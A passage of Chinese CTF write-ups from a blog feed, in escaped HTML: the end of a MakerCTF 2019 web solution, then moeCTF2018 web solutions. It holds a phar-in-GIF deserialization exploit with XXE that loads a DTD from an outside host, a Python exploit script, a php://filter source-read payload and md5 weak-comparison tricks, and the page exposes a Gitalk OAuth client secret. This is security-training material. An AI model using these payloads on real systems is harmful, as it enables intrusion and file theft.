\u0026quot;!XPiScRy\u0026quot;\u003c/code\u003e\u003cbr\u003e观察两个key的区别,我们能够发现maker_key只能将已经存在的\u003ccode\u003emaker.gif\u003c/code\u003e移动到\u003ccode\u003e/var/www/data\u003c/code\u003e目录下,且无法获得生成的文件名,而admin_key不仅可以访问/写入任意文件\u003cstrong\u003e内容\u003c/strong\u003e,还能获得生成的文件名\u003cbr\u003e所以这个文件名有什么用呢?不能直接访问(不在web目录下),而我们能控制的能访问到本地文件的只有那个\u003ccode\u003efile_get_contents\u003c/code\u003e,这时我们就能联想到phar反序列化了\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e有一个需要注意的点是file_get_contents的url第一个字符不能为p,此时我们可以通过套娃套一个stream即可,比如压缩流\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e所以现在要反序列化什么类呢?如果只是要反序列化php自带的类的话那用第一关的反序列化点就行了,没必要再来一个,所以我们的目标缩小到classes中有的类。\u003cbr\u003e这时我们能发现Move类能够调用任意类的任意函数,参数都没有任何限制,极大地扩展了攻击面。后面就随便搞了。\u003c/p\u003e\u003cp\u003e比如可以利用XXE读flag\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?php\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eMove\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"title\"\u003e__construct\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003c/span\u003e) \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable\"\u003e$d\u003c/span\u003e = \u0026lt;\u0026lt;\u0026lt;str\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?\u003c/span\u003exml version=\u003cspan class=\"string\"\u003e\u0026quot;1.0\u0026quot;\u003c/span\u003e encoding=\u003cspan class=\"string\"\u003e\u0026quot;utf-8\u0026quot;\u003c/span\u003e\u003cspan class=\"meta\"\u003e?\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026lt;!DOCTYPE foo [ \u0026lt;!ENTITY % pe SYSTEM \u003cspan class=\"string\"\u003e\u0026quot;https://files.frankli.site/xxe/xxe.dtd\u0026quot;\u003c/span\u003e\u0026gt; %pe; %param1; ]\u0026gt;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026lt;foo\u0026gt;\u0026lt;/foo\u0026gt;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026amp;external;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003estr;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;n = \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$d\u003c/span\u003e, LIBXML_NOENT);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;m = \u003cspan class=\"string\"\u003e\u0026quot;SimpleXMLElement\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;k = \u003cspan class=\"string\"\u003e\u0026quot;!XPiScRy\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e = \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e Phar(\u003cspan class=\"string\"\u003e\u0026quot;payload.phar.gif\u0026quot;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;startBuffering();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;setStub(\u003cspan class=\"string\"\u003e\u0026quot;GIF89a \u0026lt;?php __HALT_COMPILER();?\u0026gt;\u0026quot;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;setMetadata(\u003cspan class=\"keyword\"\u003enew\u003c/span\u003e Move());\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;addFromString(\u003cspan class=\"string\"\u003e\u0026#x27;a\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;b\u0026#x27;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;stopBuffering();\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eexploit:\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e requests\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e base64\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewith\u003c/span\u003e \u003cspan class=\"built_in\"\u003eopen\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;payload.phar.gif\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;rb\u0026#x27;\u003c/span\u003e) \u003cspan class=\"keyword\"\u003eas\u003c/span\u003e f:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e payload = base64.b64encode(f.read()).decode()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eaccess\u003c/span\u003e(\u003cspan class=\"params\"\u003en\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e requests.post(\u003cspan class=\"string\"\u003e\u0026#x27;http://localhost/maker.php\u0026#x27;\u003c/span\u003e, params=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;who\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;maker\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;do\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;move\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;url\u0026#x27;\u003c/span\u003e: n\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;, data=\u0026#123;\u003cspan class=\"string\"\u003e\u0026#x27;key\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;!XPiScRy\u0026#x27;\u003c/span\u003e\u0026#125;)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eret1 = access(\u003cspan class=\"string\"\u003e\u0026#x27;data:text/plain;base64,\u0026#x27;\u003c/span\u003e + payload).text\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003efilename = \u003cspan class=\"built_in\"\u003e__import__\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;re\u0026#x27;\u003c/span\u003e).findall(\u003cspan class=\"string\"\u003e\u0026#x27;[a-zA-Z0-9]*.gif\u0026#x27;\u003c/span\u003e, ret1)[\u003cspan class=\"number\"\u003e1\u003c/span\u003e]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(access(\u003cspan class=\"string\"\u003e\u0026#x27;compress.zlib://phar:///var/www/maker/\u0026#x27;\u003c/span\u003e + filename).text)\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2019/04/15/Security/Writeup/MakerCTF%202019/"},{"title":"moeCTF2018","time":"2018-08-25T16:00:00Z","content":"\u003cblockquote\u003e\n\u003cp\u003e既然web组的人多。。那先写web?\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"WEB\"\u003eWEB\u003c/h2\u003e\n\u003ch4 id=\"Where-is-the-Flag\"\u003eWhere is the Flag?\u003c/h4\u003e\n\u003cp\u003e看源代码,flag在注\u003chr /\u003e\u003cblockquote\u003e\u003cp\u003e既然web组的人多。。那先写web?\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"WEB\"\u003eWEB\u003c/h2\u003e\u003ch4 id=\"Where-is-the-Flag\"\u003eWhere is the Flag?\u003c/h4\u003e\u003cp\u003e看源代码,flag在注释里\u003c/p\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;!DOCTYPE \u003cspan class=\"meta-keyword\"\u003ehtml\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ehtml\u003c/span\u003e \u003cspan class=\"attr\"\u003elang\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;en\u0026quot;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ehead\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003emeta\u003c/span\u003e \u003cspan class=\"attr\"\u003echarset\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;UTF-8\u0026quot;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003etitle\u003c/span\u003e\u0026gt;\u003c/span\u003eTitle\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003etitle\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ehead\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ebody\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003eh1\u003c/span\u003e\u0026gt;\u003c/span\u003e远在天边,近在眼前\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003eh1\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u0026lt;!--moectf\u0026#123;f12_is_th3_bAsic_way_t0_get_F1ag\u0026#125;--\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ebody\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ehtml\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch4 id=\"GET-POST\"\u003eGET/POST\u003c/h4\u003e\u003cp\u003e用请求工具进行get/post请求,带个flag参数\u003c/p\u003e\u003cfigure class=\"highlight http\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eGET\u003c/span\u003e \u003cspan class=\"string\"\u003e/moectf/get/index.php?flag=\u003c/span\u003e \u003cspan class=\"meta\"\u003eHTTP/1.1\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attribute\"\u003eHost\u003c/span\u003e\u003cspan class=\"punctuation\"\u003e: \u003c/span\u003e120.77.152.169:8088\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003emoectf{GEt_13_the_ba5ic_method}\u003cbr\u003emoectf{Post_1s_the_sEcond_Method}\u003c/p\u003e\u003ch4 id=\"PHP是世界上坠吼的语言\"\u003ePHP是世界上坠吼的语言\u003c/h4\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$md5a\u003c/span\u003e = md5(\u003cspan class=\"variable\"\u003e$a\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$md5s\u003c/span\u003e = md5(\u003cspan class=\"variable\"\u003e$s\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$s\u003c/span\u003e != \u003cspan class=\"variable\"\u003e$a\u003c/span\u003e \u0026amp;\u0026amp; \u003cspan class=\"variable\"\u003e$md5a\u003c/span\u003e == \u003cspan class=\"variable\"\u003e$md5s\u003c/span\u003e)\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e \u003cspan class=\"variable\"\u003e$flag\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003ephp弱类型比较,常用md5:\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003emd5(‘\u003cspan class=\"number\"\u003e240610708\u003c/span\u003e’) == md5(‘QNKCDZO’)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003emd5(‘aabg7XSs’) == md5(‘aabC9RqS’)\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e等等\u003c/p\u003e\u003cp\u003ephp类型比较说明文档\u003cbr\u003ePHP文件包含\u003c/p\u003e\u003cp\u003e?file=file.php\u003c/p\u003e\u003cp\u003e要读源码,加参数\u003c/p\u003e\u003cp\u003e\u003ccode\u003ephp://filter/read=convert.base64-encode/resource=flag.php\u003c/code\u003e\u003c/p\u003e\u003cp\u003e得到\u003cbr\u003ePD9waHAKLy9tb2VjdGZ7TElGXzFTX3YzcnlfRWFTeX0K\u003c/p\u003e\u003cp\u003ebase64解码后得到flag(好叭这个flag.php是猜的)\u003cbr\u003eParse_URL\u003c/p\u003e\u003cp\u003e……这是原题。\u003cbr\u003e最好的语言里的parse_url()函数有个feature,当它接收到一个无法parse的url参数时会返回FALSE\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eOn seriously malformed URLs, parse_url() may return FALSE.\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003ephp parse_url函数文档\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$url\u003c/span\u003e = urldecode(\u003cspan class=\"variable\"\u003e$_SERVER\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;REQUEST_URI\u0026#x27;\u003c/span\u003e]);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$url\u003c/span\u003e = parse_url(\u003cspan class=\"variable\"\u003e$url\u003c/span\u003e, PHP_URL_QUERY);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e...\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (preg_match(\u003cspan class=\"string\"\u003e\u0026quot;/\\w+/i\u0026quot;\u003c/span\u003e, \u003cspan class=\"variable\"\u003e$url\u003c/span\u003e))\u003cspan class=\"comment\"\u003e#匹配[A-Z][a-z][0-9]和下划线\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003edie\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026quot;...\u0026quot;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003efalse当然不是character啦啦啦啦\u003cbr\u003e所以把url里头的斜杠多写几个就可以啦\u003cbr\u003e然后再配上一个小小的参数就爆flag了\u003c/p\u003e\u003cp\u003e\u003ccode\u003e?_=0\u003c/code\u003e\u003c/p\u003e\u003cp\u003eflag是啥?不重要了\u003c/p\u003e\u003ch4 id=\"PHP弱类型的复仇\"\u003ePHP弱类型的复仇\u003c/h4\u003e\u003cp\u003e先干啥好呢?F12啊\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$pattern\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#x27;/^(?=[1-9])(?=.[A-Z]).\u0026#123;10,12\u0026#125;$/\u0026#x27;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e#匹配以一个数字开头,紧跟一个大写字母的长度为10-12的串\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$gugugu\u003c/span\u003e=\u003cspan class=\"variable\"\u003e$_GET\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;gugugu\u0026#x27;\u003c/span\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (preg_match(\u003cspan class=\"variable\"\u003e$pattern\u003c/span\u003e, \u003cspan class=\"variable\"\u003e$gugugu\u003c/span\u003e)===\u003cspan class=\"number\"\u003e0\u003c/span\u003e) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026quot;正则看懂了嘛\u0026quot;\u003c/span\u003e;\u003cspan class=\"comment\"\u003e#看懂啦\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable\"\u003e$secret\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;******\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"variable\"\u003e$gugugu\u003c/span\u003e==\u003cspan class=\"variable\"\u003e$secret\u003c/span\u003e) 